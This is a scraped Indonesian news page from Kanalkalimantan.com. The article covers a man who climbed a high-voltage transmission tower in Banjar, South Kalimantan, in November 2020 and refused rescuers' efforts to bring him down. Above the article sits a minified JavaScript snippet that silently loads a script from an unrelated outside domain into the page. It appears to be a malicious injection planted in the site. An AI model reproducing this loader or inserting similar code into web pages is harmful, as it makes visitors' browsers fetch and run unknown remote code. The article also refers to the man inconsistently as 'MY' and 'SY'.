(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Upaya evakuasi pria pemanjat tower sutet (saluran udara tegangan ekstra tinggi) di jalan A Yani Km 60 Desa Mataraman, Kecamatan Mataraman, Kabupaten Banjar, tak berhasil membujuknya turun dari ketinggian.
Sejak Selasa (10/11/2020) malam, hingga Rabu (11/11/2020) pagi, pria tersebut masih nangkring di atas tower sutet.
Petugas tim Basarnas Banjarmasin yang berupaya melakukan evakuasi dan negosiasi ditolak mentah-mentah pria pemanjat sutet itu. Sejatinya tim evakuasi dari Basarnas Banjarmasin mencoba menuruti semua permintaan pria tersebut.
Namun, pria tersebut masih enggan untuk turun dari tower sutet. Petugas gabungan dari Basarnas dan PLN dibantu kepolisian dan TNI sejak pukul 21.00 Wita melakukan upaya penjemputan dari atas tower milik PT PLN itu.
Belakangan diketahui identitas pria tersebut adalah MY, seorang warga asal Bahaur, Kabupaten Pulang Pisau, Kalimantan Tengah.
Di lokasi tower sutet yang dinaiki MY terdapat sebuah unit sepeda motor Yamaha Freegoo warna putih abu-abu, dengan nomor polisi DA 6235 MAW, yang diduga milik pria tersebut.
Komandan Regu Rescue Basarnas Banjarmasin Endrow Sasmita mengatakan, cukup lama tim mencoba melakukan negosiasi, dan menuruti semua permintaan MY. Tetapi MY tidak koperatif dan malah meludahi petugas yang mendekati dirinya.
“Kita turuti semua permintaan dia, bahkan ketika minta makan dan air minum, dia malah menendang makanan yang kita kasih dan meludahi petugas di atas,” kata Endrow kepada Kanalkalimantan.com, Rabu (11/11/2020) pagi.
Ia juga mengatakan, MY sempat meminta disediakan angkutan untuk diantarkan ke rumah salah satu saudaranya, yang berada di kawasan Sekumpul. Pria pemanjat tower sutet PLN itu juga meminta semua pencahayan dimatikan.
“Kami turuti semua permintaannya, tetapi tetap saja tidak mau koperatif, diminta turun ke bawah,” tuturnya.
Awalnya saat upaya evakuasi SY ingin turun, lanjut lebih jauh Endrow mengatakan, tetapi jeda waktu beberapa menit SY terdiam dan melamun, akhirnya SY malah berubah pikiran tidak ingin turun.
“Sempat ingin turun, selang waktu 10 menit, ternyata dia berubah pikiran, dan menolak untuk turun bersama petugas,” jelasnya.
Sempat meludahi petugas evakuasi dari Basarnas Banjarmasin, MY juga sempat mengancam untuk loncat dari atas tower sutet. Pada saat petugas Basarnas bernegosiasi, dari atas tower terdengar suara MY yang mau muntah.
Petugas menduga sejak sore hari, pria tersebut tidak makan dan hanya mengkonsumsi air. Pria yang diduga stres ini tidak menggunakan jaket, hanya memakai kaos lengan pendek bercelana pendek.
Hingga, Rabu (11/11/2020) pagi, MY masih bertahan di atas tower sutet, bahkan naik sampai bagian paling atas tower sutet. (kanalkalimantan.com/wahyu)
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.